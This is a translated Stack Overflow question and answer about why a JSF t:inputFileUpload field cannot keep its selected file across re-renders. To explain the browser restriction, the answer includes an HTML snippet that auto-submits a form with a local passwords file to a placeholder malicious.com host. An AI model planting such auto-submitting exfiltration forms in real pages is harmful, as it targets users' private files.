【问题标题】:Access value binding of UIComponentUIComponent的访问值绑定
【发布时间】:2011-10-05 02:55:52
【问题描述】:

我使用<t:inputFileUpload> 在我的应用程序中上传文件。所选文件(表示为UploadedFile 对象)仅在表单提交时保存到其绑定(支持bean 中的成员)。当我在 UI 中使用动态元素时,表单将在不提交的情况下重新呈现。在这种情况下,值绑定无效,用户必须使用<t:inputFileUpload> 重新选择文件。

当然,这不是很人性化。即使没有提交,<t:inputFileUpload> 也会抛出一个ValueChangedEvent,我想向它注册一个事件处理程序,它将新值(即上传的文件)复制到值绑定(即支持 bean 的成员)中。由于我想允许上传多个文件,我有一个 UploadedFile 对象数组作为值绑定,在 JSF 中引用如下:

<ui:repeat value="#{bean.myFiles}" var="file">
  <t:inputFileUpload
    value   = "#{file}"
    storage = "file" />
</ui:repeat>

现在我想做这样的事情:

UploadedFile[] myFiles;

public void valueChangedHandler(ValueChangedEvent ev) {
  UploadedFile file = (UploadedFile)ev.getNewValue();
  UIComponent comp = ev.getComponent();
  // This line is pseudocode - getValueBinding() is not available
  UploadedFile bindingFile = (UploadedFile)comp.getValueBinding();
  // Assigning the new value to the binding
  bindingFile = file;
}

这样的事情可能吗?我还不明白如何调用ValueBinding getValueBinding(String) 来实现我想要的。

【问题讨论】:

    标签: jsf file-upload binding jsf-2 uicomponents


    【解决方案1】:

    用户必须使用 &lt;t:inputFileUpload&gt; 重新选择文件。

    这不是 JSF 限制。这是一个 HTML 限制。 &lt;t:inputFileUpload&gt; 组件呈现 HTML &lt;input type="file"&gt; 字段。能够预填充/保留这样的字段是一个巨大的安全漏洞,在 HTML 中是不允许的。

    要更好地理解安全漏洞,请查看以下纯 HTML 示例:

    <form id="upload" action="http://malicious.com/upload" method="post" enctype="multipart/form-data">
        <input type="file" name="file" value="c:/I/guess/this/is/path/to/your/passwords.txt" />
    </form>
    <script>document.getElementById("upload").submit();</script>
    

    如果它被支持并且使用上述表单打开一个网页,passwords.txt 将在没有任何用户干预的情况下发送到服务器!

    如果 HTML 中不可能有什么,那么 JSF 已经不能为你做很多事情了(因为它基本上所做的只是生成一些 HTML)。

    【讨论】:

    • 鉴于这是不可能的,有没有什么办法可以在不提交的情况下保留&lt;t:inputFileUpload&gt; 组件的内容?动态重新渲染会影响上传组件周围的&lt;ui:repeat&gt; 组件。
    • 再读一遍我终于明白为什么连保存都不可能了(因为它本质上是在没有用户提交表单的情况下预填充文件输入组件)。谢谢您的回答。不仅知道它不起作用而且知道为什么是好的。
    猜你喜欢
    • 2014-03-30
    • 1970-01-01
    • 2016-03-27
    • 2015-07-21
    • 1970-01-01
    • 1970-01-01
    • 2011-10-16
    • 1970-01-01
    • 2013-09-05
    相关资源
    最近更新 更多